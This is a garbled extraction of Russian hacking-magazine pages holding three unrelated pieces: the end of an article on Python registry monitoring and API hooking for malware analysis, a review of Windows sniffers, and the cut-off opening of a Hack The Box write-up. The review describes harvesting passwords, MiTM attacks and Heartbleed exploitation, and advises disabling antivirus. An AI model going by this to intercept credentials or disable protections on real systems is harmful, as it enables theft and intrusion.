https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea
https://docs.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-createeventa
https://www.script-coding.com/WMI_FileSystem.html
https://github.com/drobotun/pywinwatcher/blob/main/pywinwatcher/filemon.py


МАЛВАРЬ НА ПРОСВЕТ
ИСПОЛЬЗУЕМ PYTHON

ДЛЯ ДИНАМИЧЕСКОГО АНАЛИЗА
ВРЕДОНОСНОГО КОДА

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÌÎÍÈÒÎÐÈÌ ÄÅÉÑÒÂÈß Ñ ÐÅÅÑÒÐÎÌ

Так же как и события фай ловой сис темы, события реес тра мож но отсле- 
живать либо с помощью спе циали зиро ван ных API-фун кций, либо с исполь- 
зовани ем механиз мов WMI. Пред лагаю, как и в слу чае с событи ями фай ловой
сис темы, начать с написа ния базово го клас са , от которо го
нас ледовать клас сы  и :

RegistryMonitir
RegistryMonitorAPI RegistryMomitorWMI

 class RegistryMonitor:

      def __init__(self, notify_filter, **kwargs):
         self._notify_filter = notify_filter

         self._kwargs = kwargs
         self._event_properties = {

            'Hive': None,
            'RootPath': None,
            'KeyPath': None,
            'ValueName': None,
            'Timestamp': None,
            'EventType': None,

       }

   @property
    def hive(self):

        return self._event_properties['Hive']

   @property
    def root_path(self):

        return self._event_properties['RootPath']

   @property
    def key_path(self):

        return self._event_properties['KeyPath']

   @property
    def value_name(self):

        return self._event_properties['ValueName']

   @property
    def timestamp(self):

        return self._event_properties['Timestamp']

   @property
    def event_type(self):

        return self._event_properties['EventType']

Здесь в  переда ются парамет ры , , 
и , зна чения которых и опре деля ют мес то в реес тре, за которым
мы будем сле дить. Зна чение парамет ра , как и в пре дыду щих
слу чаях, опре деля ет отсле жива емые дей ствия.

**kwargs Hive RootPath KeyPath
ValueName

notify_filter

Èñïîëüçóåì API

Здесь мы так же, как и в слу чае с фай ловой сис темой, исполь зуем связ ку API-
фун кций  и . При этом хендл отсле- 
жива емо го объ екта получим с исполь зовани ем  со зна чени- 
ем пос ледне го парамет ра (которым опре деля ется дос туп к жела емо му клю чу
реес тра):

CreateEvent() WaitForSingleObject()
RegOpenKeyEx()

 class RegistryMonitorAPI(RegistryMonitor):

      def __init__(self, notify_filter='UnionChange', **kwargs):
         RegistryMonitor.__init__(self, notify_filter, **kwargs)

       # Создаем объект «событие»
            self._event = win32event.CreateEvent(None, False, False, None

)
       # Открываем нужный ключ с правами доступа на уведомление 
изменений

         self._key = win32api.RegOpenKeyEx(
           self._get_hive_const(),
           self._kwargs['KeyPath'],
           0,
           win32con.KEY_NOTIFY
       )
       # Устанавливаем наблюдатель
       self._set_watcher()

Фун кция  пре обра зует имя кус та реес тра в соот ветс тву- 
ющую кон стан ту ( , ,

,  или ):

_get_hive_const()
HKEY_CLASSES_ROOT HKEY_CURRENT_USER

HKEY_LOCAL_MACHINE HKEY_USERS HKEY_CURRENT_CONFIG

 def _get_hive_const(self):
      if self._kwargs['Hive'] == 'HKEY_CLASSES_ROOT':

        return win32con.HKEY_CLASSES_ROOT
   ...
      if self._kwargs['Hive'] == 'HKEY_CURRENT_CONFIG':

        return win32con.HKEY_CURRENT_CONFIG

Сам же «наб людатель» реали зуем с помощью API-фун кции
:RegNotifyChangeKeyValue()

 def _set_watcher(self):
   win32api.RegNotifyChangeKeyValue(
       self._key,
       True,
       self._get_notify_filter_const(),
       self._event,
       True
   )

Здесь , исхо дя из зна чения , выда ет
кон стан ту, опре деля ющую событие, на которое будет реак ция
( , ), или их дизъ- 
юнкцию:

_get_notify_filter() notify_filter

REG_NOTIFY_CHANGE_NAME REG_NOTIFY_CHANGE_LAST_SET

 def _get_notify_filter_const(self):
      if self._notify_filter == 'NameChange':

        return win32api.REG_NOTIFY_CHANGE_NAME
      if self._notify_filter == 'LastSetChange':

        return win32api.REG_NOTIFY_CHANGE_LAST_SET
      if self._notify_filter == 'UnionChange':

        return (
            win32api.REG_NOTIFY_CHANGE_NAME |

           win32api.REG_NOTIFY_CHANGE_LAST_SET
       )

Ме тод  прак тичес ки пол ностью пов торя ет таковой из клас са
.

update()
FileMonitorAPI()

 def update(self):
    while True:

          result = win32event.WaitForSingleObject(self._event, 0)
          if result == win32con.WAIT_OBJECT_0:

             self._event_properties['Hive'] = self._kwargs['Hive']
             self._event_properties['KeyPath'] = self._kwargs[

'KeyPath']
           ...
           self._set_watcher()
           break

Во обще, у API-фун кций, пред назна чен ных для отсле жива ния изме нений
в фай ловой сис теме или в реес тре, есть осо бен ность, зак люча ющаяся в том,
что зна чение вре мени нас тупле ния события сами эти фун кции не фик сиру ют
(в отли чие от клас сов WMI), и в слу чае необ ходимос ти это надо делать
самому (к при меру, исполь зуя ).datatime

  timestamp = datetime.datetime.fromtimestamp(
   datetime.datetime.utcnow().timestamp()
)

Дан ный кусочек кода необ ходимо вста вить в метод  (как клас са
, так и клас са ) пос ле про вер ки усло вия

появ ления события, и в перемен ной  запишет ся соот ветс тву ющее
вре мя.

update()
FileMonitorAPI RegistryMonitorAPI

timestamp

Èñïîëüçóåì WMI

Здесь име ется два отли чия отно ситель но клас са . Пер вое:
события, свя зан ные с реес тром, явля ются внеш ними (в то вре мя как события,
свя зан ные с про цес сами и фай ловой сис темой, — внут ренние). Вто рое:
для монито рин га изме нений в вет ке реес тра, клю че реес тра или зна чении,
записан ном в какой-либо ключ, необ ходимо исполь зовать раз ные клас сы
WMI: , 
или .

FileMonitorWMI

RegistryTreeChangeEvent RegistryKeyChangeEvent
RegistryValueChangeEvent

Со ответс твен но, уста нов ка «наб людате ля» при ини циали зации экзем пля- 
ра клас са  в дан ном слу чае будет выг лядеть так:RegisterMonitorWMI

   def __init__(self, notify_filter='ValueChange', **kwargs):
     RegistryMonitor.__init__(self, notify_filter, **kwargs)
   # Подключаем пространство имен с классами внешних событий
     wmi_obj = wmi.WMI(namespace='root/DEFAULT')
   # Мониторим изменения ветки реестра
      if notify_filter == 'TreeChange':

         self._watcher = wmi_obj.RegistryTreeChangeEvent.watch_for(
           Hive=self._kwargs['Hive'],
           RootPath=self._kwargs['RootPath'],
       )
   # Мониторим изменения ключа реестра
      elif notify_filter == 'KeyChange':

         self._watcher = wmi_obj.RegistryKeyChangeEvent.watch_for(
               Hive=self._kwargs['Hive'],
               KeyPath=self._kwargs['KeyPath'],
           )
   # Мониторим изменения значения
      elif notify_filter == 'ValueChange':

         self._watcher = wmi_obj.RegistryValueChangeEvent.watch_for(
               Hive=self._kwargs['Hive'],
              KeyPath=self._kwargs['KeyPath'],
              ValueName=self._kwargs['ValueName'],
          )

Все осталь ное (в том чис ле и метод ), в прин ципе, очень похоже
на . Пол ностью всю реали зацию клас сов ,

 и  мож но пос мотреть .

update()
FileMonitorWMI RegisterMonitor

RegisterMonitorAPI RegisterMonitorWMI здесь

ÌÎÍÈÒÎÐÈÌ ÂÛÇÎÂÛ API-ÔÓÍÊÖÈÉ

Здесь, как мы и говори ли, нам понадо бит ся . Вооб ще, с помощью
это го модуля мож но не толь ко перех ватывать вызовы API-фун кций, но и
делать очень мно го дру гих полез ных вещей (более под робно об этом мож но
узнать ). К сожале нию, помимо того что модуль
ори енти рован исклю читель но для работы со вто рой вер сией Python, он
исполь зует стан дар тный механизм отладки Windows. Поэто му если ана лизи- 
руемая прог рамма осна щена хотя бы прос тей шим модулем анти отладки (а
об этих модулях мож но почитать, нап ример, в стать ях «

» и « )», то
перех ватить вызовы API не получит ся. Тем не менее это весь ма мощ ный инс- 
тру мент, потому знать о его сущес тво вании и хотя бы в минималь ной сте пени
овла деть его воз можнос тями будет весь ма полез но.

WinAppDbg

в докумен тации WinAppDbg

Ан тиот ладка. Теория
и прак тика защиты при ложе ний от дебага Биб лиоте ка анти отладчи ка

Итак, для перех вата API-фун кции будем исполь зовать класс
, от которо го нас леду ем свой класс (назовем его, к при меру

). В нем мы реали зуем нуж ные нам фун кции.
EventHandler
APIIntercepter

# Не забудем подключить нужные модули
    from winappdbg import Debug, EventHandler
   from winappdbg.win32 import *

 class APIIntercepter(EventHandler):
   # Будем перехватывать API-функцию GetProcAddress из kernel32.dll
     apiHooks = {

         'kernel32.dll' : [
             ('GetProcAddress', (HANDLE, PVOID)),

       ],
   }

Как вид но, в сос таве клас са  опре делен сло варь ,
в который при опи сании клас са-нас ледни ка необ ходимо про писать все
перех ватыва емые фун кции, не забыв про наз вания DLL-биб лиотек. Фор ма
записи сле дующая:

EventHandler apiHooks

  '<имя DLL-библиотеки_1>' : [
      
 

('<имя API-функции_1>', (<параметр_1>, <параметр_2>, <параметр_3>
, ...),
      
 

('<имя API-функции_2>', (<параметр_1>, <параметр_2>, <параметр_3>
, ...),
      
 

('<имя API-функции_3>', (<параметр_1>, <параметр_2>, <параметр_3>
, ...),
   ...
],

  '<имя DLL-библиотеки_2>' : [
      
 

('<имя API-функции_1>', (<параметр_1>, <параметр_2>, <параметр_3>
, ...),
      
 

('<имя API-функции_2>', (<параметр_1>, <параметр_2>, <параметр_3>
, ...),
      
 

('<имя API-функции_3>', (<параметр_1>, <параметр_2>, <параметр_3>
, ...),
   ...
],
...

Что бы пра виль но сфор мировать дан ный сло варь, нуж но знать про тоти пы
перех ватыва емых фун кций (то есть перечень и типы переда ваемых в фун кции
парамет ров). Все это мож но пос мотреть в .MSDN

Пос ле того как мы опре дели лись с переч нем перех ватыва емых фун кций,
необ ходимо для каж дой перех ватыва емой API-фун кции написать два метода:
пер вый будет сра баты вать при вызове фун кции, вто рой — при завер шении ее
работы. Для фун кции  эти методы выг лядят так:GetProcAddress()

# Вызывается при вызове GetProcAddress
     def pre_GetProcAddress(self, event, retaddr, hModule, lpProcName):

   # Выводим информацию при запуске функции
   # Получаем имя переданной в GetProcAddress в качестве параметра 
функции
     string = event.get_process().peek_string(lpProcName)
   # Получаем ID потока, в котором произошел вызов GetProcAddress
        tid = event.get_tid()
   # Выводим это все на экран
       print "%d: Call GetProcAddress: %s" % (tid, string)

# Вызывается при завершении GetProcAddress
   def post_GetProcAddress(self, event, retval):

   # Выводим информацию по завершении функции
   # Получаем ID потока, в котором произошел вызов GetProcAddress
     tid = event.get_tid()
   # Проверяем наличие возвращаемого значения
    if retval:
       # Если возвращаемое значение не None, выводим его на экран

           print "%d: Success. Return value: %x" % (tid, retval)
   else:

          print "%d: Failed!" % tid

В метод  пер вым парамет ром переда ется объ ект ,
вто рым — адрес воз вра та, треть им и пос леду ющи ми — парамет ры перех- 
ватыва емой фун кции (здесь это прос то перемен ные, зна чения которых будут
записа ны пос ле оче ред ного вызова перех ватыва емой фун кции, пос ле чего их
мож но вывес ти с помощью ). В метод  пер вым
парамет ром так же переда ется объ ект , вто рым — воз вра щаемое
перех ватыва емой фун кци ей зна чение (реаль ные зна чения туда будут записа- 
ны пос ле завер шения работы перех вачен ной API-фун кции).

pre_GetProcAddress event

print post_GetProcAddress()
event

Да лее напишем фун кцию, которая и уста новит опи сан ный нами перех- 
ватчик:

 def set_api_interceptor(argv):
   # Создаем экземпляр объекта Debug, передав ему экземпляр 
APIIntercepter
       with Debug(APIIntercepter(), bKillOnExit=True) as debug:
       # Запустим анализируемую программу в режиме отладки
       # Путь к анализируемой программе должен быть в argv
       debug.execv(argv)
       # Ожидаем, пока не закончится отладка
       debug.loop()

И запус тим эту фун кцию:

 import sys
set_api_interceptor(sys.argv[1:])

В ито ге дол жна получить ся при мер но такая кар тина.

Пе рех ват фун кции GetProcAddress (вид но, что ана лизи руемый файл, ско -
рее все го, пыта ется внед рить что-то в уда лен ный поток)

В методах, вызыва емых при вызове и завер шении работы API-фун кции (в
нашем слу чае это  и ), мож но
прог рамми ровать какие угод но дей ствия, а не толь ко вывод информа ции
о вызове API-фун кции, как это сде лали мы.

pre_GetProcAddress() post_GetProcAddress()

ÇÀÊËÞ×ÅÍÈÅ

Как видишь, исполь зуя Python и нес коль ко полез ных пакетов, мож но получить
доволь но боль шой объ ем информа ции о событи ях, про исхо дящих в сис теме
при запус ке той или иной прог раммы. Конеч но, все это желатель но делать
в изо лиро ван ном окру жении (осо бен но если ана лизи ровать край не подоз- 
ритель ные прог раммы).

Пол ностью написан ный код клас сов ана лиза событий про цес сов, фай- 
ловой сис темы и реес тра мож но . Он так же при- 
сутс тву ет в , что поз воля ет уста новить его коман дой 

 и исполь зовать по сво ему усмотре нию.

пос мотреть на моем гит хабе
PyPi pip install 

pywinwatcher

https://github.com/drobotun/pywinwatcher/blob/main/pywinwatcher/regmon.py
https://pypi.org/project/winappdbg/
http://winappdbg.sourceforge.net/
https://xakep.ru/2018/01/17/antidebug/
https://xakep.ru/2013/12/04/61704/
https://docs.microsoft.com/en-us/windows/win32/apiindex/windows-api-list?redirectedfrom=MSDN
https://github.com/drobotun/pywinwatcher
https://pypi.org/project/pywinwatcher/
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ВЗЛОМ

Ана лиз тра фика — важ ней ший этап тес тирова ния на про ник- 
новение (или даже взло ма). В переда ваемых по сети пакетах
мож но обна ружить мно го инте рес ного, нап ример пароли
для дос тупа к раз ным ресур сам и дру гие цен ные дан ные.
Для перех вата и ана лиза тра фика исполь зуют ся сниф феры,
которых челове чес тво при дума ло великое мно жес тво.
Сегод ня мы погово рим о самых популяр ных сниф ферах
под вин ду.

ÒÅÎÐÈß

Что бы перех ватывать тра фик, ана лиза торы могут исполь зовать перенап- 
равле ние пакетов или задей ство вать так называ емый Promiscuous mode —
«нераз борчи вый» режим работы сетево го адап тера, при котором отклю чает- 
ся филь тра ция и адап тер при нима ет все пакеты незави симо от того, кому они
адре сова ны. В обыч ной ситу ации Ethernet-интерфейс филь тру ет пакеты
на каналь ном уров не. При такой филь тра ции сетевая кар та при нима ет толь ко
широко веща тель ные зап росы и пакеты, MAC-адрес в заголов ке которых сов- 
пада ет с ее собс твен ным. В режиме Promiscuous все осталь ные пакеты
не отбра сыва ются, что и поз воля ет сниф феру перех ватывать дан ные.

Те оре тичес ки мож но собирать вооб ще все пакеты в сег менте локаль ной
сети, где уста нов лен сниф фер, одна ко в этом слу чае дан ных для пос леду- 
юще го ана лиза будет слиш ком мно го, да и фай лы жур налов быс тро рас пухнут
до совер шенно неп рилич ных раз меров. А мож но нас тро ить при ложе ние
таким обра зом, что бы оно отлавли вало тра фик толь ко опре делен ных про- 
токо лов (HTTP, POP3, IMAP, FTP, Telnet) или ана лизи рова ло лишь пер- 
вые 100 байт каж дого пакета, где обыч но и содер жится самое инте рес ное:
адрес целево го хос та, логины и пароли. Сов ремен ные сниф феры могут слу- 
шать в том чис ле и зашиф рован ный тра фик.

Не ред ко ана лиза торы тра фика при меня ются в «мир ных» целях —
для диаг ности ки сети, выяв ления и устра нения непола док, обна руже ния вре- 
донос ного ПО или что бы выяс нить, чем заняты поль зовате ли и какие сай ты
они посеща ют. Но имен но при иссле дова нии безопас ности сетево го
перимет ра или тес тирова нии на про ник новение сниф фер — незаме нимый
инс тру мент для раз ведки и сбо ра дан ных. Сущес тву ют сниф феры для раз- 
личных опе раци онных сис тем, кро ме того, подоб ное ПО мож но уста новить
на роуте ре и иссле довать весь про ходя щий через него тра фик. Сегод ня мы
погово рим о наибо лее рас простра нен ных популяр ных ана лиза торах тра фика
для плат формы Microsoft Windows.

WIRESHARK

 Wireshark Foundation• Ïðî èçâî äèòåëü:

 • Ñàéò: https://www.wireshark.org
 бес плат но• Ëè öåí çèÿ:

Об этой прог рамме зна ет, навер ное, каж дый, кто хотя бы раз стал кивал ся
с задачей ана лиза тра фика. Популяр ность Wireshark впол не оправдан на:
во-пер вых, дан ный про дукт бес пла тен, во-вто рых, его воз можнос тей впол не
хва тает для решения самых насущ ных воп росов, каса ющих ся перех вата
и ана лиза переда ваемых по сети дан ных. Про дукт поль зует ся зас лужен ной
популяр ностью у вирус ных ана лити ков, реверс-инже неров, сис темных адми- 
нис тра торов и, безус ловно, пен тесте ров.

Что такое Wireshark, зна ет, навер ное, каж дый

Этот ана лиза тор име ет рус ско языч ный интерфейс, уме ет работать с боль шим
количес твом сетевых про токо лов (перечис лять здесь их все лишено смыс ла:
пол ный спи сок мож но най ти на ). В Wireshark мож но
разоб рать каж дый перех вачен ный пакет на час ти, прос мотреть его заголов ки
и содер жимое. У при ложе ния очень удоб ный механизм навига ции по пакетам,
вклю чая раз личные алго рит мы их поис ка и филь тра ции, есть мощ ный
механизм сбо ра ста тис тики. Сох ранен ные дан ные мож но экспор тировать
в раз ные фор маты, кро ме того, сущес тву ет воз можность авто мати зиро вать
работу Wireshark с помощью скрип тов на Lua и под клю чать допол нитель ные
(даже раз работан ные самос тоятель но) модули для раз бора и ана лиза тра- 
фика.

сай те про изво дите ля

По мимо Ethernet, сниф фер уме ет перех ватывать тра фик бес про вод ных
сетей (стан дарты 802.11 и про токол Bluetooth). Тул за поз воля ет ана лизи- 
ровать тра фик IP-телефо нии и вос ста нав ливать TCP-потоки, под держи вает ся
ана лиз тун нелиро ван ного тра фика. Wireshark отлично справ ляет ся с задачей
декоди рова ния про токо лов, но, что бы понять резуль таты это го декоди рова- 
ния, надо, безус ловно, хорошо раз бирать ся в их струк туре.

К недос таткам Wireshark мож но отнести то, что вос ста нов ленные потоки
не рас смат рива ются прог раммой как еди ный буфер памяти, из-за чего зат- 
рудне на их пос леду ющая обра бот ка. При ана лизе тун нелиро ван ного тра фика
исполь зует ся сра зу нес коль ко модулей раз бора, и каж дый пос леду ющий
в окне прог раммы замеща ет резуль тат работы пре дыду щего — в ито ге ана- 
лиз тра фика в мно гоуров невых тун нелях ста новит ся невоз можен.

В целом Wireshark — не прос то популяр ный, но очень доб ротный про дукт,
поз воля ющий отсле дить содер жимое гуля ющих по сети пакетов, ско рость их
переда чи, най ти «проб лемные мес та» в сетевой инфраструк туре. Но в отли- 
чие от ком мерчес ких при ложе ний здесь нет удоб ных инс тру мен тов визу али- 
зации. Кро ме того, с помощью Wireshark не так уж и прос то, нап ример,
выловить из тра фика логины и пароли, а это одна из типич ных задач при тес- 
тирова нии на про ник новение.

COMMVIEW

 TamoSoft• Ïðî èçâî äèòåëü:

 • Ñàéò: https://www.tamos.ru/products/commview/
 плат ный, покуп ка лицен зии или под писка• Ëè öåí çèÿ:

Сре ди сущес тву ющих ныне сниф феров CommView — один из самых ста рых
и зас лужен ных ветера нов, об этом про дук те «Хакер» .
Про ект жив и по сей день, активно раз вива ется и обновля ется: пос ледняя
на текущий момент вер сия датиро вана 2020 годом. Нес мотря на то что про- 
дукт плат ный, про изво дитель пред лага ет , который поз воля ет
пос мотреть работу при ложе ния на прак тике — проб ная вер сия сниф фера
перех ватыва ет тра фик в течение пяти минут, пос ле чего про сит денег.

пи сал еще в 2001 году

ска чать три ал

CommView — зас лужен ный «ветеран» в мире сниф феров

Прог рамма име ет рус ско языч ный интерфейс, что может стать опре деля ющим
фак тором при выборе сниф фера для поль зовате лей, не вла деющих англий- 
ским. Глав ное пре иму щес тво CommView — воз можность гиб ко нас тро ить
пра вила филь тра ции пакетов: мож но выб рать отдель ные про токо лы, которые
будет отсле живать при ложе ние, сор тировать пакеты по ряду приз наков, нап- 
ример по раз меру или заголов ку. Ассорти мент под держи ваемых про токо лов
так же весь ма велик: сниф фер уме ет работать с самыми рас простра нен ными
прик ладны ми про токо лами, а так же выпол нять реконс трук цию TCP-сес сии
и UDP-потока. При этом CommView поз воля ет ана лизи ровать тра фик вплоть
до пакетов про токо лов самого низ кого уров ня — TCP, UDP, ICMP, а так же
прос матри вать «сырые» дан ные. Прог рамма показы вает заголов ки перех- 
вачен ных пакетов, собира ет под робную ста тис тику IP-тра фика. Сох ранен ные
дан ные мож но экспор тировать в 12 раз личных фор матов, начиная с .txt и .csv
и закан чивая фай лами дру гих ана лиза торов вро де Wireshark.

По мимо тра фика на сетевой кар те, CommView может монито рить соеди- 
нения по VPN, а так же тра фика, про ходя щего через модемы — ана лого вые,
мобиль ные, ADSL, ISDN и дру гие, для чего в сис тему уста нав лива ется спе- 
циаль ный драй вер. Есть воз можность перех вата VoIP-тра фика и сес сий SIP-
телефо нии. В сос тав при ложе ния вхо дит генера тор пакетов, с помощью
которо го мож но отпра вить на задан ный Ethernet-интерфейс пакет ука зан ной
дли ны, с про изволь ными заголов ками и содер жимым. Есть так же доволь но
удоб ный прос мот рщик лог-фай лов, поз воля ющий откры вать фай лы жур налов
в отдель ном окне сниф фера и выпол нять поиск по их содер жимому.

Тул за, вне вся ких сом нений, край не удоб ная и полез ная, если бы
не «кусачие» цены на лицен зию. Для про фес сиональ ного пен тесте ра покуп ка
такого инс тру мен та навер няка будет оправдан на, но ради того, что бы разок
«гля нуть сеть», мож но поис кать аль тер натив ные — более дешевые или бес- 
плат ные решения.

INTERCEPTER-NG

 неиз вес тно• Ïðî èçâî äèòåëü:

 • Ñàéò: http://sniff.su
 бес плат но• Ëè öåí çèÿ:

Это тоже очень ста рый и убе лен ный седина ми инс тру мент — впер вые
«Хакер»  еще в 2012 году. C тех пор раз рабаты ваемый нашими
сооте чес твен никами про ект не толь ко не исчез с прос торов интерне та,
как мно гие его кон курен ты, но даже активно раз вивал ся и совер шенс тво вал- 
ся — пос ледняя акту аль ная редак ция сниф фера датиро вана 2020 годом.
Сущес тву ет вер сия прог раммы для Android в виде .APK-фай ла и даже кон- 
соль ная вер сия это го инс тру мен та для Unix.

на писал о нем

В сво ей работе Intercepter-NG исполь зует ути литу NPcap, пор табель ную
вер сию которой, по завере ниям раз работ чиков, тас кает с собой. Одна ко
прак тика показа ла, что ее либо забыли туда положить, либо в Windows 10 она
не работа ет — для запус ка сниф фера мне приш лось качать NPcap с сай та

 и уста нав ливать его вруч ную.https://nmap.org/npcap/

Intercepter-NG

Intercepter-NG име ет доволь но сим патич ный поль зователь ский интерфейс
и поз воля ет прос матри вать тра фик в нес коль ких режимах. Есть обыч ный
прос мотр пакетов и их содер жимого, в котором мож но филь тро вать пакеты
с помощью пра вил pcap или исполь зовать фун кцию Follow TCP stream
для деталь ного ана лиза какой-либо сес сии. Есть режим Messengers Mode,
в котором тул за пыта ется перех ватить тра фик мес сен дже ров — преж де все го
иско паемых ICQ, MSN, Yahoo и AIM, но есть там под дер жка про токо ла Jabber.
С Telegram фокус не удал ся: сниф фер поп росту его не уви дел.

Име ется Passwords Mode, в котором на экра не демонс три руют ся вылов- 
ленные из тра фика логины и пароли, переда ваемые по про токо лам FTP, HTTP,
SMTP, POP3, IMAP, LDAP, Telnet и дру гим. Режим Resurrection mode поз воля ет
вос ста нав ливать фай лы, переда ваемые через HTTP, FTP, SMB, IMAP,
POP3 и SMTP, — при этом удач но вос ста нав лива ются толь ко фай лы из завер-
шенных TCP-сес сий.

В сос таве Intercepter-NG име ется допол нитель ный и очень полез ный инс- 
тру мен тарий. Это прос той DHCP-сер вер, служ ба NAT, поз воля ющая тран сли- 
ровать пакеты ICMP/UDP/TCP меж ду раз личны ми Ethernet-сег мента ми сети.
Есть нес коль ко сетевых ска неров: ARP, DHCP, реали зован «умный» поиск
шлю зов. Еще один полез ный инс тру мент — модуль для орга низа ции MiTM-
атак. Под держи вают ся методы Spoong (с под дер жкой про токо лов
DNS/NBNS/LLMNR), ICMP Redirect, DNS over ICMP Redirect, SSL MiTM,
SSLStrip и некото рые дру гие.

С помощью прог раммы мож но прос каниро вать задан ный диапа зон пор тов
в поис ках работа ющих на них при ложе ний, про вес ти ана лиз свя зан ных с эти- 
ми пор тами про токо лов. Мож но перек лючить сниф фер в экс тре маль ный
режим, при котором он будет перех ватывать все TCP-пакеты без про вер ки
пор тов, что поз волит обна ружить в сети при ложе ния, работа ющие на нес- 
тандар тных и пере опре делен ных адми нис тра тором пор тах. Прав да, в этом
режиме при ложе ние нещад но тор мозит и пери оди чес ки зависа ет намер тво.

В акту аль ной вер сии Intercepter-NG появи лась встро енная тул за для экс- 
плу ата ции уяз вимос ти Heartbleed — ошиб ки в крип тогра фичес ком прог рам- 
мном обес печении OpenSSL, с помощью которой мож но несан кци они рован- 
но читать память на сер вере или на кли енте, в том чис ле для извле чения зак- 
рытого клю ча сер вера. Еще в сос тав пакета был добав лен инс тру мент
для брут форса и мно гопо точ ный ска нер уяз вимос тей X-Scan. Ины ми сло- 
вами, из прос того при ложе ния сетево го ана лиза Intercepter-NG понем ногу
прев раща ется в эда кий ком байн, поз воля ющий не отхо дя от кас сы прос- 
каниро вать сеть на наличие откры тых пор тов и незак рытых уяз вимос тей,
перех ватить логины с пароля ми и чего-нибудь сбру тить.

К минусам Intercepter-NG сле дует отнести то, что прог рамма рас позна ется
как вре донос ная анти виру сом Кас пер ско го и Windows Defender, из-за чего
при бива ется еще на эта пе заг рузки с сай та про изво дите ля. Так что
для работы со сниф фером при дет ся отклю чать анти виру сы, но это доволь но
скром ная пла та за воз можность поль зовать ся столь мно гофун кци ональ ным
инс тру мен том.

SMARTSNIFF

 Nirsoft• Ïðî èçâî äèòåëü:

 • Ñàéò: http://www.nirsoft.net/utils/smsniff.html
 бес плат но• Ëè öåí çèÿ:

Прос тень кий сниф фер, работа ющий с про токо лами TCP, UDP и ICMP. Тре бует
уста нов ки драй вера  и .WinPcap Microsoft Network Monitor Driver вер сии 3

SmartSniff от Nirsoft

Про ект изна чаль но раз рабаты вал ся под Windows 2000/XP (что, в общем-то,
замет но по его интерфей су), но жив и по сей день — пос ледняя вер сия сниф- 
фера датиро вана 2018 годом. Ути лита поз воля ет перех ватывать тра фик, про- 
ходя щий через локаль ную машину, и прос матри вать содер жимое пакетов —
боль ше она, собс твен но, ничего не уме ет.

TCPDUMP

 Tcpdump Group• Ïðî èçâî äèòåëü:

 • Ñàéò: tcpdump.org
 бес плат но (модифи циро ван ная лицен зия BSD)• Ëè öåí çèÿ:

На писан ная на С кон соль ная ути лита, изна чаль но раз работан ная под Unix,
но поз же пор тирован ная на Windows, в которой исполь зует ся WinPcap.
Для нор маль ной работы тре бует наличия адми нис тра тив ных при виле гий.
Сре ди поль зовате лей Windows более популяр на вер сия tcpdump с откры тым
исходным кодом под наз вани ем WinDump, которую мож но бес плат но ска чать
с сай та .https://www.winpcap.org/windump/

BURP SUITE

 Portswigger• Ïðî èçâî äèòåëü:

 • Ñàéò: https://portswigger.net/burp
 бес плат но (Community Edition)• Ëè öåí çèÿ:

Еще один популяр ный у пен тесте ров инс тру мент, пред назна чен ный для тес- 
тирова ния безопас ности веб-при ложе ний. Burp вхо дит в сос тав Kali Linux,
есть вер сия под Windows с 64-бит ной архи тек турой. Этот фрей мворк
недаром называ ют «швей цар ским ножом пен тесте ра» — в пла не поис ка уяз- 
вимос тей и ауди та безопас ности веб-при ложе ний ему нет рав ных. Burp Suite
вклю чает воз можнос ти для отправ ки на уда лен ные узлы модифи циро ван ных
зап росов, брут форса, фаз зинга, поис ка фай лов на сер вере и мно гое дру гое.

Собс твен но, в качес тве сниф фера Burp сов сем не уни вер сален — он уме- 
ет толь ко отсле живать тра фик меж ду бра узе ром и уда лен ным веб-при ложе- 
нием с исполь зовани ем перех ватыва юще го прок си, для работы которо го
с про токо лом HTTPS тре бует ся уста новить в сис теме допол нитель ный сер- 
тификат. Но для опре делен ных целей это го может ока зать ся дос таточ но.

Burp Suite Community Edition

Burp перех ватыва ет все пакеты, которые отправ ляет и получа ет бра узер и,
соот ветс твен но, поз воля ет ана лизи ровать тра фик раз личных веб-при ложе- 
ний, вклю чая онлайн-мес сен дже ры или соц сети. Если в иссле дуемой пен- 
тесте ром инфраструк туре име ются работа ющие через HTTP или HTTPS сер- 
висы, луч шего инс тру мен та для их тес тирова ния, пожалуй, не най ти.
Но исполь зовать Burp толь ко в качес тве сниф фера HTTP/HTTPS-тра фика —
это все рав но, что возить с дач ного учас тка кар тошку на «Лам бор джи ни»: он
пред назна чен сов сем для дру гих задач.

ÇÀÊËÞ×ÅÍÈÅ

Ес ли переф разиро вать популяр ную пес ню, сниф феры быва ют раз ные —
и каж дый из них луч ше под ходит для сво их задач. В целях иссле дова ния
веб-при ложе ний и перех вата локаль ного HTTP-тра фика нет ничего луч ше
Burp Suite, для поис ка проб лемных мест в собс твен ной локаль ной сети
или получе ния спис ка уда лен ных узлов, к которым обра щает ся какая-либо
прог рамма, отлично подой дет Wireshark. А для атак на сетевую инфраструк- 
туру мож но исполь зовать Intercepter-NG — эта тул за рас полага ет целым
набором полез ных инс тру мен тов для тес тирова ния на про ник новение.

mailto:valentin@holmogorov.ru
https://www.wireshark.org/
https://www.wireshark.org/
https://www.tamos.ru/products/commview/
https://xakep.ru/2001/01/15/11740/
https://www.tamos.ru/download/main/
http://sniff.su/
https://xakep.ru/2012/08/06/59103/
https://nmap.org/npcap/
http://www.nirsoft.net/utils/smsniff.html
http://www.winpcap.org/
https://www.microsoft.com/en-us/download/details.aspx?id=4865
http://tcpdump.org/
https://www.winpcap.org/windump/
https://portswigger.net/burp
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ВЗЛОМ

В этой статье я покажу, как экс плу ати ровать
уяз вимость в .NET Remoting Services,
а затем мы получим управле ние хос том
с помощью фрей мвор ка PowerShell Empire.
А полиго ном нам пос лужит машина Sharp
с пло щад ки . Ее заяв ленный
уро вень слож ности — Hard, поэто му будет
инте рес но!

Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ

Ад рес нашей машины — 10.10.10.219, закиды вай его в , что бы
мож но было обра щать ся к хос ту по име ни.

/etc/hosts

. . .     .10 10 10 219 sharp htb

Пер вый шаг любой ата ки — ска ниро вание пор тов. Я обыч но выпол няю его
вот таким неболь шим скрип том. Он дела ет два про хода: сна чала по всем
пор там, затем с исполь зовани ем скрип тов (опция ) — по тем, где что-то
обна ружи лось. Это поз воля ет получить под робный спи сок сер висов, работа- 
